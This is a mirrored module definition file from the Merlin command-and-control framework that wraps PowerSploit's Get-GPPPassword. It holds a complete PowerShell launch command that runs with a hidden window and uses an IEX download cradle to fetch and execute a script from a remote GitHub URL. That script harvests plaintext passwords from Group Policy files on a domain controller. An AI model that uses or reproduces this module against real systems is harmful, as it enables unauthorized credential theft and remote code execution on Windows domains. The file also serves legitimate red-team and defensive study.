mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
29 lines
1.3 KiB
JSON
29 lines
1.3 KiB
JSON
{
|
|
"base": {
|
|
"type": "standard",
|
|
"name": "Get-GPPPassword",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["Chris Campbell (@obscuresec)"],
|
|
"path": ["windows", "x64", "powershell", "powersploit", "Get-GPPPassword.json"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "PowerShell",
|
|
"notes": "This is part of the PowerSploit project https://github.com/PowerShellMafia/PowerSploit",
|
|
"remote": "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1",
|
|
"local": ["data", "src", "PowerSploit", "Exfiltration", "Get-GPPPassword.ps1"],
|
|
"options": [
|
|
{"name": "Source", "value": "remote", "required": true, "flag": null, "description":"Use local or remote code repository"},
|
|
{"name": "Server", "value": null, "required": false, "flag": "-Server", "description":"Set the target server"}
|
|
],
|
|
"description": "Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w 0",
|
|
"\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');",
|
|
"Get-GPPPassword",
|
|
"{{Server}}",
|
|
"\""
|
|
]
|
|
}
|
|
} |